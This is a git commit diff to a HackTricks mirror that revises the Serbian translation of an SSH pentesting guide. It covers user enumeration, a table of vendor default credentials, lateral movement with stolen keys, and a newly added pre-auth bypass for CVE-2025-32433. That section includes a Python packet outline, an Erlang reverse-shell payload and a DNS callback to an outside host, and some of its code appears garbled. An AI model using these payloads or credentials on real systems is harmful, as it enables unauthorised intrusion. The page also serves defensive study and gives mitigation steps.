mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-ssh.md'] to sr
This commit is contained in:
parent
37f92b2481
commit
ae7b3d27f9
@ -13,7 +13,7 @@
|
||||
**SSH сервери:**
|
||||
|
||||
- [openSSH](http://www.openssh.org) – OpenBSD SSH, испоручен у BSD, Linux дистрибуцијама и Windows од Windows 10
|
||||
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – SSH имплементација за окружења са ниским меморијским и процесорским ресурсима, испоручена у OpenWrt
|
||||
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – SSH имплементација за окружења са малом меморијом и ресурсима процесора, испоручена у OpenWrt
|
||||
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – SSH имплементација за Windows, клијент се често користи, али је употреба сервера ређа
|
||||
- [CopSSH](https://www.itefix.net/copssh) – имплементација OpenSSH за Windows
|
||||
|
||||
@ -32,7 +32,7 @@ nc -vn <IP> 22
|
||||
```
|
||||
### Automated ssh-audit
|
||||
|
||||
ssh-audit je alat za reviziju konfiguracije ssh servera i klijenata.
|
||||
ssh-audit je alat za reviziju konfiguracije ssh servera i klijenta.
|
||||
|
||||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) je ažurirani fork od [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
|
||||
|
||||
@ -41,7 +41,7 @@ ssh-audit je alat za reviziju konfiguracije ssh servera i klijenata.
|
||||
- Podrška za SSH1 i SSH2 protokol servera;
|
||||
- analizira konfiguraciju SSH klijenta;
|
||||
- uzima banner, prepoznaje uređaj ili softver i operativni sistem, detektuje kompresiju;
|
||||
- prikuplja algoritme za razmenu ključeva, host-key, enkripciju i kod autentifikacije poruka;
|
||||
- prikuplja algoritme za razmenu ključeva, host-key, enkripciju i kod za autentifikaciju poruka;
|
||||
- izlazne informacije o algoritmima (dostupno od, uklonjeno/onemogućeno, nesigurno/slabo/legacy, itd);
|
||||
- izlazne preporuke za algoritme (dodati ili ukloniti na osnovu prepoznate verzije softvera);
|
||||
- izlazne informacije o bezbednosti (povezani problemi, dodeljena CVE lista, itd);
|
||||
@ -95,7 +95,7 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
|
||||
|
||||
### Enumeracija korisničkih imena
|
||||
|
||||
U nekim verzijama OpenSSH možete izvršiti napad vremenskom razlikom kako biste enumerisali korisnike. Možete koristiti metasploit modul kako biste iskoristili ovo:
|
||||
U nekim verzijama OpenSSH možete izvršiti napad vremenskim razlikama kako biste enumerisali korisnike. Možete koristiti Metasploit modul kako biste iskoristili ovo:
|
||||
```
|
||||
msf> use scanner/ssh/ssh_enumusers
|
||||
```
|
||||
@ -113,9 +113,9 @@ Ili MSF pomoćni modul:
|
||||
```
|
||||
msf> use scanner/ssh/ssh_identify_pubkeys
|
||||
```
|
||||
Or use `ssh-keybrute.py` (native python3, lightweight and has legacy algorithms enabled): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||||
Ili koristite `ssh-keybrute.py` (nativni python3, lagan i sa omogućеним nasleđenim algoritmima): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
|
||||
|
||||
#### Poznate loše ključeve možete pronaći ovde:
|
||||
#### Poznati loši ključevi mogu se naći ovde:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
|
||||
@ -129,27 +129,27 @@ Trebalo bi da pogledate ovde kako biste tražili važeće ključeve za žrtvinu
|
||||
|
||||
### Kerberos
|
||||
|
||||
**crackmapexec** koristeći `ssh` protokol može koristiti opciju `--kerberos` da **autentifikuje putem kerberos**.\
|
||||
**crackmapexec** koristeći `ssh` protokol može koristiti opciju `--kerberos` za **autentifikaciju putem kerberos-a**.\
|
||||
Za više informacija pokrenite `crackmapexec ssh --help`.
|
||||
|
||||
## Podrazumevani akreditivi
|
||||
|
||||
| **Proizvođač** | **Korisnička imena** | **Lozinke** |
|
||||
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc, device | apc |
|
||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||||
| D-Link | admin, user | private, admin, user |
|
||||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||||
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
|
||||
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
|
||||
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
|
||||
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
|
||||
| Juniper | netscreen | netscreen |
|
||||
| NetApp | admin | netapp123 |
|
||||
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
|
||||
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
|
||||
| --------------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| APC | apc, device | apc |
|
||||
| Brocade | admin | admin123, password, brocade, fibranne |
|
||||
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
|
||||
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
|
||||
| D-Link | admin, user | private, admin, user |
|
||||
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
|
||||
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
|
||||
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
|
||||
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
|
||||
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
|
||||
| Juniper | netscreen | netscreen |
|
||||
| NetApp | admin | netapp123 |
|
||||
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
|
||||
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
|
||||
|
||||
## SSH-MitM
|
||||
|
||||
@ -167,22 +167,22 @@ Da biste uhvatili stvarni MitM, mogli biste koristiti tehnike poput ARP spoofing
|
||||
|
||||
## SSH-Snake
|
||||
|
||||
Ako želite da pretražujete mrežu koristeći otkrivene SSH privatne ključeve na sistemima, koristeći svaki privatni ključ na svakom sistemu za nove hostove, onda vam je potreban [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake).
|
||||
Ako želite da pretražujete mrežu koristeći otkrivene SSH privatne ključeve na sistemima, koristeći svaki privatni ključ na svakom sistemu za nove hostove, onda je [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) ono što vam treba.
|
||||
|
||||
SSH-Snake automatski i rekurzivno obavlja sledeće zadatke:
|
||||
|
||||
1. Na trenutnom sistemu, pronađite sve SSH privatne ključeve,
|
||||
2. Na trenutnom sistemu, pronađite sve hostove ili odredišta (user@host) koja privatni ključevi mogu prihvatiti,
|
||||
3. Pokušajte da se povežete na sva odredišta koristeći sve otkrivene privatne ključeve,
|
||||
3. Pokušajte da se SSH povežete sa svim odredištima koristeći sve otkrivene privatne ključeve,
|
||||
4. Ako se uspešno povežete na odredište, ponovite korake #1 - #4 na povezanom sistemu.
|
||||
|
||||
Potpuno je samoreplicirajuće i samoproširujuće -- i potpuno bez datoteka.
|
||||
Potpuno se replicira i širi -- i potpuno je bez datoteka.
|
||||
|
||||
## Konfiguracione greške
|
||||
|
||||
### Root prijava
|
||||
|
||||
Uobičajeno je da SSH serveri po defaultu dozvoljavaju prijavu korisnika root, što predstavlja značajan sigurnosni rizik. **Onemogućavanje root prijave** je kritičan korak u obezbeđivanju servera. Neovlašćen pristup sa administrativnim privilegijama i brute force napadi mogu se ublažiti ovom promenom.
|
||||
Uobičajeno je da SSH serveri po defaultu dozvoljavaju prijavu korisnika root, što predstavlja značajan sigurnosni rizik. **Onemogućavanje root prijave** je kritičan korak u obezbeđivanju servera. Neovlašćen pristup sa administrativnim privilegijama i napadi brute force mogu se ublažiti ovom promenom.
|
||||
|
||||
**Da biste onemogućili root prijavu u OpenSSH:**
|
||||
|
||||
@ -242,9 +242,9 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
|
||||
```
|
||||
### SFTP Symlink
|
||||
|
||||
The **sftp** have the command "**symlink**". Stoga, ako imate **prava za pisanje** u nekom folderu, možete kreirati **symlinks** drugih **foldera/fajlova**. Kako ste verovatno **zarobljeni** unutar chroot-a, ovo **neće biti posebno korisno** za vas, ali, ako možete **pristupiti** kreiranom **symlink-u** iz **no-chroot** **servisa** (na primer, ako možete pristupiti symlink-u sa web-a), mogli biste **otvoriti symlinkovane fajlove putem web-a**.
|
||||
The **sftp** have the command "**symlink**". Therefor, if you have **writable rights** in some folder, you can create **symlinks** of **other folders/files**. As you are probably **trapped** inside a chroot this **won't be specially useful** for you, but, if you can **access** the created **symlink** from a **no-chroot** **service** (for example, if you can access the symlink from the web), you could **open the symlinked files through the web**.
|
||||
|
||||
Na primer, da kreirate **symlink** iz novog fajla **"**_**froot**_**" u "**_**/**_**"**:
|
||||
For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**:
|
||||
```bash
|
||||
sftp> symlink / froot
|
||||
```
|
||||
@ -281,10 +281,66 @@ id_rsa
|
||||
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
|
||||
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
|
||||
|
||||
## Bypass stanja autentifikacije (Pre-Auth RCE)
|
||||
|
||||
Nekoliko implementacija SSH servera sadrži logičke greške u **mašini stanja autentifikacije** koje omogućavaju klijentu da šalje *poruke protokola veze* **pre nego što** autentifikacija završi. Pošto server ne uspeva da verifikuje da se nalazi u ispravnom stanju, te poruke se obrađuju kao da je korisnik potpuno autentifikovan, što dovodi do **neautentifikovane izvršavanja koda** ili kreiranja sesije.
|
||||
|
||||
Na protokolskom nivou, svaka SSH poruka sa _kodom poruke_ **≥ 80** (0x50) pripada *sloju veze* (RFC 4254) i mora **biti prihvaćena samo nakon uspešne autentifikacije** (RFC 4252). Ako server obradi jednu od tih poruka dok je još u *SSH_AUTHENTICATION* stanju, napadač može odmah kreirati kanal i zahtevati akcije kao što su izvršavanje komandi, prosleđivanje portova, itd.
|
||||
|
||||
### Opšti koraci za eksploataciju
|
||||
1. Uspostavite TCP vezu sa SSH portom cilja (obično 22, ali druge usluge mogu izlagati Erlang/OTP na 2022, 830, 2222…).
|
||||
2. Kreirajte sirovi SSH paket:
|
||||
* 4-bajtni **packet_length** (big-endian)
|
||||
* 1-bajtni **message_code** ≥ 80 (npr. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
|
||||
* Payload koji će biti razumljiv odabranom tipu poruke
|
||||
3. Pošaljite paket(e) **pre nego što završite bilo koji korak autentifikacije**.
|
||||
4. Interagujte sa server API-ima koji su sada izloženi _pre-auth_ (izvršavanje komandi, prosleđivanje portova, pristup sistemu datoteka, …).
|
||||
|
||||
Python proof-of-concept outline:
|
||||
```python
|
||||
import socket, struct
|
||||
HOST, PORT = '10.10.10.10', 22
|
||||
s = socket.create_connection((HOST, PORT))
|
||||
# skip version exchange for brevity – send your own client banner then read server banner
|
||||
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
|
||||
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
|
||||
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
|
||||
s.sendall(pkt)
|
||||
# additional CHANNEL_REQUEST packets can follow to run commands
|
||||
```
|
||||
U praksi ćete morati da izvršite (ili preskočite) razmenu ključeva u skladu sa implementacijom cilja, ali **nikakva autentifikacija** se nikada ne vrši.
|
||||
|
||||
---
|
||||
### Erlang/OTP `sshd` (CVE-2025-32433)
|
||||
* **Pogođene verzije:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
|
||||
* **Osnovni uzrok:** Erlang-ov nativni SSH daemon ne validira trenutni status pre nego što pozove `ssh_connection:handle_msg/2`. Stoga bilo koji paket sa kodom poruke 80-255 dolazi do rukovaoca veze dok je sesija još u *userauth* stanju.
|
||||
* **Uticaj:** neautentifikovana **daljinska izvršenja koda** (daemon obično radi kao **root** na ugrađenim/OT uređajima).
|
||||
|
||||
Primer payload-a koji pokreće reverznu ljusku vezanu za kanal pod kontrolom napadača:
|
||||
```erlang
|
||||
% open a channel first … then:
|
||||
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
|
||||
```
|
||||
Blind RCE / out-of-band detekcija može se izvršiti putem DNS-a:
|
||||
```erlang
|
||||
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
|
||||
```
|
||||
Detection & Mitigation:
|
||||
* Istražite SSH saobraćaj: **odbacite bilo koji paket sa kodom poruke ≥ 80 zabeleženim pre autentifikacije**.
|
||||
* Ažurirajte Erlang/OTP na **27.3.3 / 26.2.5.11 / 25.3.2.20** ili noviji.
|
||||
* Ograničite izloženost portova za upravljanje (22/2022/830/2222) – posebno na OT opremi.
|
||||
|
||||
---
|
||||
### Other Implementations Affected
|
||||
* **libssh** 0.6 – 0.8 (server side) – **CVE-2018-10933** – prihvata neautentifikovani `SSH_MSG_USERAUTH_SUCCESS` poslat od strane klijenta, što je zapravo obrnuta logička greška.
|
||||
|
||||
Zajednička lekcija je da svako odstupanje od RFC-om propisanih prelaza stanja može biti fatalno; prilikom pregleda ili fuzzinga SSH demona obratite posebnu pažnju na *provođenje stanja mašine*.
|
||||
|
||||
## References
|
||||
|
||||
- Možete pronaći zanimljive vodiče o tome kako ojačati SSH na [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)
|
||||
- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
- [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
|
||||
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
|
||||
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
```
|
||||
|
Loading…
x
Reference in New Issue
Block a user